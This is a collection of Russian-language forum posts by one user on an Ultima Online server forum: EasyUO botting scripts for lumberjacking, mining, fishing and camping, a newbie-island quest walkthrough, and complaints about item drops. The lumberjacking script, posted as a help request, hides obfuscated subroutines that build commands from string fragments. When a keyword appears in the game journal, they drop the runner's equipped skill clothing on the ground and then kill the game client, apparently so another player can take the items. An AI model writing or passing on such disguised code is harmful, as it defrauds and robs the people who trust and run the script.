Скрипт на EasyUO
Вот он:
set %maptype XVH
finditem %maptype C , #backpackid
set #LOBJECTID #FINDID
event macro 17 0
wait 1s
click 63 65 d
wait 8s
return
Toggle shoutbox
Chat
|
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Fake's Content
There have been 24 items by Fake (Search limited from 28-May 23)
#804418 Рабочий Скрипт На Картографию.
Posted by
on 23 February 2015 - 16:33
in
Скрипты
#804409 Проблемы Со Скилом Lmberjacking
Posted by
on 23 February 2015 - 06:02
in
Вопросы
вот мой скрипт
set %gameClass Cleric ; Cleric or Archer
set %maxWeight 500
set %ljtool FSF ; Max ves
set %box RRDOLMD ; ID korobki, gde sbrasivatj rudu
set %foodCont RRDOLMD ; ID korobki, gde stoit zapasi moloko i bekona
set %xCoord 2822 ; X koordinata okolo boxa
set %yCoord 453 ; Y koordinata okolo boxa
set %dropAspen #false ; #true - sbrasivajet Aspen logi , #false - net
set %dropWillow #false ; #true - sbrasivajet Willow logi , #false - net
set %dropCedarMapleNoblefire #true ; #true sbrasivajet etie logi, #false - net
set %dropCherryEcalyptus #true ; #true sbrasivajet etie logi, #false - net
set %skillItemChange #false ; #true - menjajet skill shmotki, #false - net
set %recall #false ; #true - letajet s runebook, #false - begut peshkom
; Do Not Set These Items If %skillItemChange #false
set %skillRobe KIOSJMD ; Skill Roba (ID)
set %skillCloak TCNSJMD ; Skill Cloack (ID)
set %skillMask YSNSJMD ; Skill Mask (ID)
set %simpleRobe UTRVLMD ; Prostaja Roba (ID)
set %simpleCloak VARVLMD ; Prostoj cloack (ID)
set %simpleMask CSH ; Helm (TYPE/ID)
; Etix mozhno ne menjatj, esli %recall #false
set %runebookID ; ID runebooka
set %runeNumberToHome ; Nr runi na dom
set %runeNumberToWood ; Nr runi na les
set %amountRecalls ; Skolko recallov vzjatj, kogda ix netu
; special variables for Archer (tolka dlja archera):
set %camp heal ; #spc - the best camp, heal - healing campifre +5
set %minKidlings 10 ; minimalnoe kolichestvo kidlov v sumke
set %amountKidlings 15 ; skolko kidlov vzjatj, kogda ix netu
set %minArrows 0 ; minimalnoe kolichestvo strel v sumke
set %amountArrows 0 ; skolko strel vzjatj, kogda ix netu
; special variables for Cleric(tolko dlja klerika):
set %Weapon VOH ; oruzhie
set %Shield AIK ; shild
set %item ZJF_TVj_GWJ_EWJ_ZLK_POF_RZF_SJG_CUD_IJG_HSF_FZH_EAG_MZF_JZF_WZF
set %loot ZJF_TVj_GWJ_EWJ_ZLK_POF_RZF_SJG_CUD_IJG_HSF_FZH_EAG_MZF_JZF_WZF
if %recall
{
gosub Instalyze runeNumberToHome 1
gosub Instalyze runeNumberToWood 2
}
if %dropAspen
set %aspenCol 973
if %dropWillow
set %willowCol 0
if %dropCedarMapleNoblefire 3
set %cedarCol 437
set %mapleCol 1233
set %noblefireCol 153
if %dropCherryEcalyptus 2
set %cherryCol 38
set %ecalyptusCol 81
set %skill %skillRobe , _ , %skillCloak , _ , %skillMask
gosub gettingStarted
gosub initevents
set %k 0
set %lastK 0
start:
msg #dot $
GOSUB LJING 2835 450 -3 3302
GOSUB LJING 2840 447 -10 3294
GOSUB LJING 2841 446 -15 3287
GOSUB LJING 2843 450 -15 3281
GOSUB LJING 2847 446 -15 3297
GOSUB LJING 2852 447 -15 3300
GOSUB LJING 2846 451 -15 3284
GOSUB LJING 2843 450 -15 3281
goto start
sub LJING
gosub ghost
gosub reaper
gosub checkWeight
if %tracking
gosub tracking
move %1 %2 1
finditem FSF C_
if #findcnt = 0
{
display ok Pickaxe wasn't found!
halt
}
set #lobjectid #findid
event macro 17 0
target 7s
set #ltargetx %1
set #ltargety %2
set #ltargetkind 3
set #ltargettile %3
event macro 22 0
wait 10
set %overtime #scnt + 25
gosub scan
return
sub checkWeight
if #weight > %maxWeight
{
if ! %dropAspen && ! %dropWillow && ! %dropCherryEcalyptus && ! %dropCedarMapleNoblefire
{
if %recall
gosub port
if ! %recall
gosub moveItems
}
if %dropAspen || %dropWillow || %dropCedarMapleNoblefire || %dropCherryEcalyptus
{
gosub dropTrashLogs
return
}
}
if %afk <> true || %else <> IJG
gosub ghost 1
return
sub scan
scan:
scanjournal 1
if hungry in #sysmsg
{
gosub eat
return
}
%get fixed
gosub reaper
if ( ( you_can't_reach_this in #sysmsg ) || ( THERE_IS_NOTHING_HERE_TO_CHOP in #sysmsg )
+ || ( use_that_in in #journal ) || ( It_appears_immune_to_your_blow in #sysmsg ) )
return
gosub checkHP
if #scnt >= %overtime
return
goto scan
return
sub arm
if %gameClass = Cleric
{
repeat
{
finditem %Weapon c_ , #BackpackId
set #lobjectID #findid
event macro 17 0
wait 12
finditem %Weapon c_ , #BackpackId
}
until #findcnt = 0
repeat
{
finditem %Shield c_ , #BackpackId
set #lobjectID #findid
event macro 17 0
wait 12
finditem %Shield c_ , #BackpackId
}
until #findcnt = 0
}
if %gameClass = Archer
{
msg $.arm bow$
wait 5
}
return
sub port
set %k %k + 1
gosub arm
gosub checkHP
gosub reaper
if G in #charstatus
event macro 6 0
event macro 6 0
set %oldPosX #charposx
set %oldPosY #charposy
gosub openRunebook
repeat
{
click %x1 %y1
wait 20
}
until #contname <> generic_gump && #contsize <> 577_426
if %gameClass = Cleric
event macro 13 21
if %gameClass = Archer
event macro 13 47
gosub changeClothesTo %simpleMask %simpleRobe %simpleCloak
while #charposx = %oldPosX && #charposy = %oldPosY
wait 10
gosub moveItems
gosub back
return
sub moveItems
ignoreitem reset 1
ignoreitem %skill 1
gosub runToBox
if %gameClass = Cleric
event macro 13 21
finditem %box G_3
if #findcnt = 0
{
event Sysmessage Box Not Found!
pause
}
repeat
{
finditem %item c_ , #backpackid
if #findcnt >= 1
{
if world_save_has_been in #sysmsg
wait 15s
exevent Drag #Findid #findstack
exevent Dropc %box
wait 40
}
}
until #findcnt = 0
ignoreitem reset 1
if %gameClass = Archer
gosub rescourses
if %recall
gosub recalls
gosub food
return
sub back
gosub checkHP
set %oldPosX #charposx
set %oldPosY #charposy
for %i 1 2
{
gosub openRunebook
click 261 215 ; Recharge runebook 2x
wait 20
}
gosub openRunebook
repeat
{
click %x2 %y2
wait 20
}
until #contname <> generic_gump && #contsize <> 577_426
event macro 13 21
wait 2s
gosub changeClothesTo %skillMask %skillRobe %skillCloak
while #charposx = %oldPosX && #charposy = %oldPosY
wait 10
return
sub runToBox
repeat
{
move %xCoord %yCoord 0
wait 10
}
until #charposx = %xCoord && #charposy = %yCoord
return
sub checkHP
if #hits < #maxhits
{
if %skillItemChange
gosub changeClothesTo %simpleMask %simpleRobe %simpleCloak
gosub arm
gosub follow&kill
if %skillItemChange
gosub changeClothesTo %skillMask %skillRobe %skillCloak
}
return
sub fixed
set %k %k + 1
%to %bca %be # . %all
{
repeat
{
set %up # . %cares
%done %start , _ , %else %end , _ , %up
%lastdo %race # . %Wsave
%lastdo %eaea # . %alpha # . %beta # . %gamma
%upgrade 25
%done %start , _ , %else %end , _ , %up
}
until # . %gems = 0
}
return
sub openRunebook
finditem %runebookID C_ , #backpackid
if #findcnt = 0
{
event sysmessage Runebook not found!
pause
}
set #lobjectid #findid
event macro 17 0
while #contname <> generic_gump && #contsize <> 577_426
wait 1
return
sub ghost
if #charghost = YES || %0 = 1
{
terminate uo
halt
}
return
sub changeClothesTo
repeat
{
finditem %1 C_ , #backpackid
set #lobjectID #findid
event macro 17 0
wait 12
finditem %1 C_ , #backpackid
}
until #findcnt = 0
repeat
{
finditem %2 C_ , #backpackid
set #lobjectID #findid
event macro 17 0
wait 12
finditem %2 C_ , #backpackid
}
until #findcnt = 0
repeat
{
Finditem %3 C_ , #backpackid
set #lobjectID #findid
event macro 17 0
wait 12
finditem %3 C_ , #backpackid
}
until #findcnt = 0
return
sub initevents
set %rescourse finding
str left %rescourse 4
set %save #strres
set %done %save , item
set %iii kill
str left string 1
set %asd #strres , %iii
set %start % . %asd
str left CADY 1
set %end #strres
str left character 4
set %who #strres
set %cares %who , id
str left %do 4
set %lastdo ex , #strres , t
set %race dragrace
str left %race 4
set %race #strres
set %Wsave %save , id
str right skopg 3
set %jasl #strres
str left drive 2
set %eaea #strres , %jasl
str left post 3
set %number %who , #strres
set %alpha %number , x
set %beta %number , y
set %gamma %number , z
set %repsawn waitrespawn
str left %repsawn 4
set %upgrade #strres
str left tilbery 3
set %almost #strres
str left unuquady 2
set %past #strres , %almost
set %gems %save , cnt
set %else IJG
return
sub follow&kill
set %charX #charposx
set %charY #charposy
set %charz #charposz
set %killTime #scnt + 60
if %gameClass = Cleric
{
repeat
{
finditem #enemyid
event pathfind #FINDX #FINDY #FINDZ 1 3s
wait 1s
msg $.usebandage$
wait 10
target 1s
event macro 23 0
wait 10
gosub ghost
}
until #findcnt = 0 || #scnt > %killTime
}
if %gameClass = Archer
{
repeat
{
msg .camp %camp $
wait 40
finditem #enemyid
}
until #findcnt = 0 || #scnt > %killTime
}
gosub loot
if #hits < #maxhits
gosub heal
set %time #scnt + 20
repeat
{
event pathfind %charX %charY %charz 1 3s
wait 1s
gosub ghost
if #scnt > %time
return
}
until #charposx = %charX && #charposy = %charY
return
sub heal
repeat
{
msg $.usebandage$
wait 10
target
event macro 23 0
wait 20
}
until #hits >= #maxhits
return
sub gettingStarted
set %afk true
set %ell qaerty
str left %ell 1
set %abc #strres , #strres , #strres
set %a1 #strres
str left %ell 2
str right #strres 1
set %cba %abc , #strres , %a1
set %bca %cba , #strres
str right %afk 1
set %bca %bca , #strres
set %bra %bca , b
set %n1 nlogif
str right %n1 2
set %to #strres
str left %n1 1
set %be #strres
str right %n1 2
str left #strres 1
set %be #strres , %be
set %tour jour
set %navigate nalliwate
str left %navigate 3
set %all %tour , #strres
set %navigate gost
str left %navigate 3
set %ac #strres
str right pub 2
set %get %ac , #strres
set %do events
str right linit 4
set %toGo #strres , %do
return
sub eat
finditem ZBM C
set #lobjectid #findid
event macro 17 0
wait 10
finditem GND C
set #lobjectid #findid
event macro 17 0
wait 10
event macro 17 0
wait 5s
return
sub Instalyze
if % . %1 <= 8
set %x . %2 260
else
set %x . %2 420
if % . %1 = 1 || % . %1 = 9
set %y . %2 260
if % . %1 = 2 || % . %1 = 10
set %y . %2 275
if % . %1 = 3 || % . %1 = 11
set %y . %2 290
if % . %1 = 4 || % . %1 = 12
set %y . %2 305
if % . %1 = 5 || % . %1 = 13
set %y . %2 320
if % . %1 = 6 || % . %1 = 14
set %y . %2 335
if % . %1 = 7 || % . %1 = 15
set %y . %2 350
if % . %1 = 8 || % . %1 = 16
set %y . %2 365
return
sub loot
set %lootTime #scnt + 20
finditem YFM G_4
if #findcnt >= 1
{
set #lobjectid #findid
set %body #findid
event macro 17 0
while #contkind <> ASEB && #contsize <> 144_212 && %lootTime > #scnt
wait 1
wait 10
repeat
{
finditem %loot C_ , %body
if #findcnt = 0 || #scnt > %lootTime
{
ignoreitem %body 2
return
}
exevent drag #findid #findstack
exevent dropc #backpackid
wait 40
}
until #false
}
return
sub dropTrashLogs
repeat
{
finditem ZLK C_ , #backpackid
if #findcnt = 0
{
wait 20
if #weight >= %maxweight
{
if %recall
gosub port
if ! %recall
gosub moveItems
return
}
if #weight < %maxweight
return
}
if #findcol = %willowCol || #findcol = %aspenCol
+ || #findcol = %cedarCol || #findcol = %mapleCol || #findcol = %noblefireCol
+ || #findcol = %cherryCol || #findcol = %ecalyptusCol
{
exevent drag #findid #findstack
exevent dropg #charposx #charposy #charposz
wait 65
}
ignoreitem #findid 1
}
until #false
return
sub reaper
if %lastK >= %k
gosub ghost 1
set %lastK %k
finditem JE G
if #findcnt <> 0
{
sound
gosub arm
set %charX #charposx
set %charY #charposy
set %charz #charposz
if %skillItemChange
gosub changeClothesTo %simpleMask %simpleRobe %simpleCloak
set %killTime #scnt + 60
finditem JE G
set %reaper #findid
set #ltargetid %reaper
event macro 27 0
if %gameClass = Cleric
{
repeat
{
finditem %reaper
event pathfind #FINDX #FINDY #FINDZ 1 3s
wait 1s
msg $.usebandage$
wait 10
target 1s
event macro 23 0
wait 10
gosub ghost
}
until #findcnt = 0 || #scnt > %killTime
}
if %gameClass = Archer
{
repeat
{
msg .camp %camp $
wait 40
finditem %reaper
}
until #findcnt = 0 || #scnt > %killTime
}
gosub loot
if #hits < #maxhits
gosub heal
if %skillItemChange
gosub changeClothesTo %skillMask %skillRobe %skillCloak
set %time #scnt + 20
repeat
{
event pathfind %charX %charY %charz 1 3s
wait 1s
gosub ghost
if #scnt > %time
return
}
until #charposx = %charX && #charposy = %charY
}
return
sub rescourses
finditem RWF C_ , #backpackid
if #findstack <= %minArrows
{
set #lobjectid %box
event macro 17 0
while #contid <> %box
wait 1
finditem RWF C_ , %box
exevent drag #findid %amountArrows
exevent dropc #backpackid
wait 30
}
finditem PEF C_ , #backpackid
if #findstack <= %minKidlings
{
set #lobjectid %box
event macro 17 0
while #contid <> %box
wait 1
finditem PEF C_ , %box
exevent drag #findid %amountKidlings
exevent dropc #backpackid
wait 30
}
return
sub recalls
finditem WTL C_ , #backpackid
if #findstack <= 2 || #findcnt = 0
{
set #lobjectid %box
event macro 17 0
while #contid <> %box
wait 1
finditem WTL C_ , %box
exevent drag #findid %amountRecalls
exevent dropc #backpackid
wait 30
}
return
sub food
finditem ZBM C_ , #backpackid
if #findcnt = 0
{
set #lobjectid %foodCont
event macro 17 0
while #contid <> %foodCont
wait 1
finditem ZBM C_ , %foodCont ; 1 pitcher of milk
exevent drag #findid 1
exevent dropc #backpackid
wait 30
}
finditem GND C_ , #backpackid
if #findcnt = 0
{
finditem GND C_ , %foodCont
exevent drag #findid 4 ; 4 baocn slices
exevent dropc #backpackid
wait 30
finditem ZBM C_ , %foodCont ; 1 pitcher of milk
exevent drag #findid 1
exevent dropc #backpackid
wait 30
}
return
#804408 Проблемы Со Скилом Lmberjacking
Posted by
on 23 February 2015 - 05:56
in
Вопросы
У меня проблемы с тим скилом. Если выбрать дерево,и рубить в ручную,то всё хорошо.Дупуво рубится логи идут. Но вот незадача,рубка со скриптом,не работает. Я пометил дерево,кинул координаты в скрипт,и когда чар ходит по помеченным ждеревьям и пытается рубить. В журнале пишется всегда, It appears immune to your blow.. У меня около 200 помеченных деревьев,и у кождого тааая фигня.Не могу понять в чём дело
#804398 Newbie Island
Posted by
on 22 February 2015 - 01:46
in
Рынок
Неделю назат,на острове вообще никого небыло!
Я начал иратьпрросидел на острове 4 дня,и ни встретил ниодной живой души. Начал ирать маом,сложно было ппц. Щас там народу больше чем в большом мире,да и дела мутят уже свои 
#804262 Реклама Сервера
Posted by
on 18 February 2015 - 02:21
in
Таверна
Поиграв во множество ММО,всяких разных. Меня ниодна не привлекла своими особыми качествами.
Я думаю что всё ещё в переди,что тут можно собрать больше онлайна. Главное не переборщить с халявой,чтоб инерес не пропадал.Больше марковок на верёвочке. Чтоб люди ганялись за ним и чтоб была мотивация.Отсюда и интерес к игре,который не будет пропадать.
#804260 Реклама Сервера
Posted by
on 18 February 2015 - 01:17
in
Таверна
Сервер действительно хороший.Странно что народу ирает мало,тоесть не в соответствии качеству сервера. Должнобыть больше в разы. На друих серверах,качество хуже,крафт убоий,у некоторых не работают скилы( фишин,кукинг,трап,локпицкин и тд),не сбалансированный лут и пвп.,но народу там по 300+. Парадокс какой-то. Я "за",чтобы повысился онлайн тут.
Былоб хорошо еслиб в опциях ввили авто лут или масслут с шифта.,и авторезку. Бинд бы на дагер,чтоб шкуру резал. Допустим. .additem1 он запоминает ид итема,а в макросе прописать .useitem2,и спокойно макросом срезать кожу.
#804247 Помоите Пофиксить Скрипт На Mining.
Posted by
on 17 February 2015 - 16:13
in
Скрипты
Да спс,робит....я после C_ ещё аоставил C_ , %BankID
де в начале написал Set %BankID #CONTID который находится в Container Info И всё робит
При написании слова Bank , в Container info отображается ИД банка.
Осталось только разобратся с сбрасыванием руды. Подскажит кто нить как то вписать?
#804230 Помоите Пофиксить Скрипт На Mining.
Posted by
on 17 February 2015 - 06:56
in
Скрипты
Пожалуйсто помоите пофиксить скрипт на минин.
Нужно чтобы чар,кидал руду в мешочек в банке.
Вот часть скрипта:
sub moveItems
ignoreitem reset 1
gosub runToBox
msg Bank$
wait 2s
finditem %box G_3
if #findkind <> 0
wait 20
if #findcnt = 0
{
event Sysmessage Box Not Found!
halt
}
drop:
finditem %item c_ , #backpackid
if #findkind = -1
return
exevent Drag #Findid #findstack
exevent Dropc %box
wait 20
goto drop
return
Он открывает банк,но пишит что Box not fond.
И хотелось бы дополнение к скрипту на скидывание ненужной руды.
У меня стоит вот так,только маранец сбрасывает.
sub dropMarganece
dropLoop:
finditem DWJ C_ , #backpackid
if #findcnt = 0
{
if #weight >= %maxweight
return drop
if #weight < %maxweight
return mine
}
if #findcol = 1750
{
exevent drag #findid #findstack
exevent dropg #charposx #charposy #charposz
wait 20
}
ignoreitem #findid 1
goto dropLoop
return
#804194 Почему Не Падает Последний Свиток Магии?
Posted by
on 16 February 2015 - 04:51
in
Вопросы
94 часа игры на острове....то не лень.... Повторяю.как так может быть..что остальные свитки падают по мноу раз...а именно тот не выпадает.Вчера и сегодня,я целый день сидел в дандже. то не помогло,повторяю ,то не лень.
#804189 Почему Не Падает Последний Свиток Магии?
Posted by
on 16 February 2015 - 04:28
in
Вопросы
Решил вернутся на сервер после 7ми лет перерыва.....и тут такое творится,плохую репутацию,ребята, вы себе создаёте.
#804188 Почему Не Падает Последний Свиток Магии?
Posted by
on 16 February 2015 - 04:13
in
Вопросы
Я так понимаю передомной поставили выбор или выметайся с острова за 100к,посте тоо как я тупо время убивалделая все квесты и фармя свитки....либо плати,и получай РП.
P.S. Если к примеру платить через PayPal То минимум нужно 35 фунтов т.к. минимум можно получить 700 рп. На меньшее подать запрос нельззя.
#804187 Почему Не Падает Последний Свиток Магии?
Posted by
on 16 February 2015 - 04:10
in
Вопросы
Всё скроллы 1-4 лвла падали с 2 лвла мобов.
5-6 скроллы падали с 3-4 лвла мобов
7-8 падают с 5лвла мобов.
#804185 Почему Не Падает Последний Свиток Магии?
Posted by
on 16 February 2015 - 03:50
in
Вопросы
Так не справедливо. 100% тут ошибка. Нереал чтобы с моба 5ого лвла падали все свитки 7-8 круга магии по нескольку раз и НИОДНОГО того который мне нужен.
Что качается РП ..... тратить деньи на то чтобы завершить квест,то абсурд., чистой воды.
#804183 Почему Не Падает Последний Свиток Магии?
Posted by
on 16 February 2015 - 03:38
in
Вопросы
На данный момент к сожалению купить не могу.
#804179 Почему Не Падает Последний Свиток Магии?
Posted by
on 16 February 2015 - 03:12
in
Вопросы
Fake 020d4e Я на острове все квесты сделал уже вчера днём. Фишка в том что я хочу получить бонусс,да тот самый, за выполнение всех квестов.
#804177 Почему Не Падает Последний Свиток Магии?
Posted by
on 16 February 2015 - 02:50
in
Вопросы
Парадокс. Я честно сказать не понимаю.Второй день бъю 5лвла мобов в дандже на ньюби острове,и не падает 7ого круга магии свиток "Energy Field " Все другие свитки которые должны падать с 5ого лвла моба(7-8 круга магии) упали по 100 раз. Вчера днём уже набрал 20к опыта и дальше не идёт.Почти лям gp набрал уже. Админы помогите,то уже не смешно! Я тупо уже усталл.
#804166 Готовый Скрипт На Camping(Easyuo)
Posted by
on 15 February 2015 - 17:35
in
Скрипты
Этот будет получше. Вы можете включить его.Покакачаетесь или бегаетеили занимаете другими делаит. Camping будет качатся
ХХХХХХХ ИД киндлингов
set %kindling JPYBKMD
loop:
finditem %kindling
if #findkind = -1
halt
set #lobjectid #findid
event macro 17 0
wait 1s
Click 64 63 d
wait 33s
goto loop
оставте 5S
При схватке,кампин не вседа срабатывает. Потому вместо "wait 33s" поставте "wait 5s" Если ж вы просто стоите и ничео не делаете,оставте без изменений.
#804163 Подскажите Как Узнать Цвет Инготов Для Изи!?
Posted by
on 15 February 2015 - 17:18
in
Скрипты
Может тебе не цвет нужен,а тип? это как ИД каждоо инота.
Возьми из сумки ингнотподними и опусти его.В ИзиУОпосмотри #LLIFTEDTYPE: ХХХ Это будет тип игнота
#804154 Отовый Скрипт На Fishing Скорабля/берега(Easyuo)
Posted by
on 15 February 2015 - 07:56
in
Скрипты
set %pole XHF ; ID удочки
set %fish DQD_EQD_FQD_GQD_DMF_EQD_FQD_NSH_DPH_CUD
set %somabanka RLNRJMD
set %Roba FWL
set %Roba2 DWL
Set %Mask NZH
set %Mask2 HJL
set %Cloack DCI
moving:
msg back$
wait 14s
msg stop$
gosub fishing
msg back$
wait 14s
msg stop$
gosub fishing
msg back$
wait 14s
msg stop$
gosub fishing
msg forward$
wait 45s
msg stop$
gosub fishing
wait 1s
goto moving
sub fishing
wait 5s
for %xx -5 5
{
for %yy -5 5
{
finditem %pole
set #LOBJECTID #FINDID
event macro 17 0
wait 2
target 5s
set #LTARGETX #CHARPOSX + %xx
set #LTARGETY #CHARPOSY + %yy
set #LTARGETKIND 3
event macro 22 0
wait 3
gosub proverka
}
}
return
sub proverka
set %overtime #SCNT + 15
loop:
if #hits < #str
{
Finditem %Roba2 c_ , #backpackid
set #lobjectID #findid
event macro 17 0
wait 20
Finditem %Cloack c_ , #backpackid
set #lobjectID #findid
event macro 17 0
wait 20
Finditem %Mask2 c_ , #backpackid
set #lobjectID #findid
event macro 17 0
wait 20
Finditem %Roba2 c_ , #backpackid
set #lobjectID #findid
event macro 17 0
msg .arm bow $
msg .camp $
wait 25s
Finditem %Roba c_ , #backpackid
set #lobjectID #findid
event macro 17 0
wait 10
Finditem %Cloack c_ , #backpackid
set #lobjectID #findid
event macro 17 0
wait 10
Finditem %Mask c_ , #backpackid
set #lobjectID #findid
event macro 17 0
wait 10
finditem ZLF
set #LOBJECTID #FINDID
event macro 17 0
wait 10
event macro 23 0
wait 6s
return
}
deletejournal
scanjournal 1
if There_are_no_ in #JOURNAL || Try_fishing_ in #JOURNAL || That_is_too in #JOURNAL || You_fail_to_catch_ in #JOURNAL || Fishing_has in #JOURNAL || #SCNT >= %overtime
return
if You_pull in #JOURNAL || seconds_before in #JOURNAL
{
wait 1s
return
}
goto loop
#804153 Готовый Скрипт На Camping(Easyuo)
Posted by
on 15 February 2015 - 07:51
in
Скрипты
Перед запуском скрипта,юзните разок кампингдл ласт обджекта.
set %kindling #LOBJECTID
loop:
finditem %kindling
if #findkind = -1
halt
set #lobjectid #findid
wait 1s
event macro 17
Click 64 63 d
goto loop
#804146 Прохождение Всех Квестов На Ньюби Острове.
Posted by
on 14 February 2015 - 22:23
in
Полезная информация
Список квестов:
ликовано 19 January 2010 - 04:00
- "Большая дорога" | 230Qp | Laedus | (5952,2962) |
- "Осиновый Лук" | 30 Aspen bow | Aurek[bowyer] | (5872,2909) | 10 Qp.
- "Кройка и шитье" | 20 Floppy hat | Ellen[weawer] | (5862,2915) | 10 Qp.
- "Каллиграфия" | 20 Protct.scroll | Tyler[scribe] | (5944,2854) | X Qp.
- "Первые зелья" | 30 Lesser Refr. | Loren[alchemist] | (5944,2854) | X Qp.
- "Трапеды" | .usetraped | Rochelle[alchemist] | (5944,2854) | 10 Qp.
- "Постройка дома" | 15.000 gp | Bayard[carpenter] | (5969,2919) | 10 Qp.
- "Мой дом" | 25.000 gp | Virgil[architect] | (5969,2919) | 20 Qp.
- "Магические помехи" |убей 10 Чародеев| Akello[Mage] | (5944,2854) | X Qp.
- "Книга магии" |Full spellbook| Tod[Mage] | (5944,2854) | 85 Qp.
- "Потерянные сокровища"| Карта |Tanya[mapmaker] | (5932,2993) | 5 Qp.
- "Морское путешествие"|25.000gp|Wayland[shipwrite] | (5944,2971) | 40 Qp.
- "Дрова для растопки"|убей 30 Риперов|Trind[cook] | (5906,2917) | X Qp.
- "Разупокоенное кладбище"|убей 20 Личлордов|Karol[healer]|(5943,2890)|10 Qp.
- "Добыча ржавчины"|убивай 50 Скелетов|Bren[tinker]|(5971,2882)|X Qp.
- " Мёртвое дерево"|Принеси 10 брёвен|Cardos|(5978,3000)|5 Qp.
- "Яд для оружия"|убей 5 скорпионов|Mack[blacksmith]|(5864,2872)|10 Qp.
- "Вооружение"|образец редкой руды|Barden[armoner]|(5864,2872)|X Qp.
1. После того как вы выполните все квесты,поговорите с Лаедусом.Если хотите получить от него бонусс.Если ж вам надоел остров,то поговорите с НПЦ на пристани,и за 100.000 пон вас переместит в большой мир.
2. -5. Классовые квесты. Маам дают квест на алхимию,а лучникам на боукрафт и т.д.
6. Тут просто используйте траппед,он снимает параличь.
7.-8. Нпц попросит вас принести 25000 гп,далее пооворите с плотником,который стоит рядом.Он попросит с вас 15000гп на постройку. Далее,вам надо разместить дом.Если вы выйдите из города.То направляйтесь строго на запад,до скалы.Далее следуйте вдоль неё пока не найдёте вход.Тоесть вы окажитесь на месте,где скалы вас полностью окружают(не пещера) там и разместите дом,и щёлкните 2 раза по табличке на доме.Вы получили ключь.Далее идите к НПЦ и сдайте квест.
9. И так,выйдя из города,двигайтесь по трапинке,через мост,вы увидите замок,с импами,чёрными кошками ,а в нутри калдуньи.Так вот,на 3тьем этаже,будет вас ждать чародей.Но он только один,придётся ждать респавна чтоб всех 10 убить..
10. Дааа.Самое сложное. Я так понял что свитки 1-4 круа падают с 2лвл мобов.Их лучше всео фармить у заброшенного замка(Там где импы и чёрные коты)
5-6 круг,пада ихет с 3-4 лвла мобов,а 7 и 8 круги магии падают с 5ого лвла.Я считаю что проще фармить их на циклопе,в дандже.Сам дандж находится строго на западе.Просто выходя из города,не своразивайте никуда а бегите только на запад.Дойдя до болота,выше вы увидите скалу,за ней вход в дандж.
11. Выполняется в том же дандже,пройдите мимо циклопов,троллей,и дойдите до руин.Там должен быть лучник в зелёных доспехах. Его надо убить и юзнуть карту которую дала вам НПЦ в городе.Да и лопату не забудте купить Далее появится квестовый скелетубив его,в сумке у вас появится сундук.Идите в город и сдавайте квест.
12 Потребуется 25000 гп Идите в том же направлении что и в дандж пока не достигните моря,там и поставте лодку,щёлкните по борту,примерно по середине корабля,появится трап.Щёлкните по трапу 2 раза и чар зайдёт на корабль.Помните что корабль действует только 2 часа. Далее напишите Back И корабль должен доплыть до морского городка.Там вам следует поговорить с НПЦ,он скажет вам забрать посылку из банка.Поговорите с банкиром,и заплатите 15000 гп за её хранение.
13. Тут нужно убить 30риперов,которые находятся: 1 рипер находится в дандже около скорпионов. 2других на острове в лесах.
14. Кладбище находится на востоке,выйдя из города,поверните на право и бегите вдоль реки на право и в низ.На кладбище,помимо друих мобов спавнятся только 2 лича.
15. Убивайте Skeleton Knights ,и только их. Самое лучшее и безопасное место это за кладбищем.Просто обойдите ео и вы найдёте одноо Skeleton Knight и 2 друих. Скелет спавнитс примерно каждые 2-3 мин. Мне как мау,в дандже убивать ео сложно,т.к. развернутся там негде.Если вы воин,поробуйте убивать их в дандже.
16. Я его сделал без труда,просто захайдился около деревавзял квестовый топори начал рубить.Спокойно нарубив десяток брёвен,Я отправилс к нпц и сдал квест.
17. В том же дандже,надо убивать Scorpion QueenСкажу я вам что не всегда она спавнися в определённом место,но рядом. Советую забиндить кнопку на AllNames,тк. помимо того скорпиона который вам нуженесть ещё и другие.Их можно спутать.И надо убить 5 таких.
18. Помоему этот квест для войнов.Я маг,у меня такого небыло.
#804133 Квест " Потернные Сокровища"
Posted by
on 14 February 2015 - 13:03
in
Вопросы
После долих мучений и поисков я всё же сделал тот квест. Ст ранно что инцормации нету по нём. Я прошел в подьземелье,через циклопов и тролей к развалинам.Вы увидите там пару ведьм,людей маов и лучника.Лучник нам и нужен.Убив лучника я нажал 2 раза по карте.Появился квестовый скелет. Конечно не с первоо раза появился. Уьив скелета,в инвентаре появился сундук.
#804128 Лучшая Крафт Идея (Конкурс)
Posted by
on 14 February 2015 - 06:50
in
Общий форум
Итого мы имеем 5 номинаций:
1) Alchemy-при крафте любого зелья,есть шанс скрафтить "Зелье удачи" Которое при выпивании,на час или менее,дает больше шанса что из моба вывалится артефакт,разныый лут и тд.
Или можно добавить пассивный бонус алхимикам.. Все снадобья и зель действуют на вас в 2 раза дольше и на 10% мощьнее.
2)Inscription-Рецепт на создание заточки( Брони,оружия,бижи) или при макс скиле можно создавать рецепты разных артефактов.Не тех что уже есть.А новых.
3) Cooking-Можно приготовить большой пир.При использовании,еда выкладывается на пол в виде тарелки с курицой.При использовании даёт +20 максимальноо стата на 10 мин.Всего 10 заядов, 2 мин. стоит на полу.
Или Можно приотовить тоже самое только одноразовое.Проста еда с добавлением тоо же эффекта.
4) Tinkering-Возможность крафтить ящики пандоры(не активироанные) Дл них нужен макс скилл,в зависимости от лвла пандоры и на крафт уходит немало раритетных реагентов.А чтобы можно было их открыттоесть приминить отмычкку и снять ловушку, надо воспользоватся услуами Инскриптора,который крафтит те самые свитки активации( на которые кстате тоже уходят не мало раритетных реагентов)
Или можно изготовить печи,из различных метталов и дерева. Уровень печи влияет на приотовление еды(Cooking) например пища приотовленная в простой печи/плита даёт +5к статам или максимальному стату.,а печь из высококачественной металлов и дерева даёт уже +25.
5) Транспорт-Nightmare 
Взял из труого шарда.
Также 
#804127 Квест " Потернные Сокровища"
Posted by
on 14 February 2015 - 06:02
in
Вопросы
Зашел в дандж этот в ньюби острове и не могу найт это место.Не понимаю вобще куда иммено идти и де искать.Монстров просто куча,респавн у них быстрый.Тупо не успеваю убить.Ираю магом,в полиморфе,иначе просто в дандже нереал. Помогите,подскажите....как сделать квест этот?
Да и вот ещё что. Свитки тупо одинаковые падаютМобов бъю третий день уже.14к опыта набил. Но свитки не падают нужные....
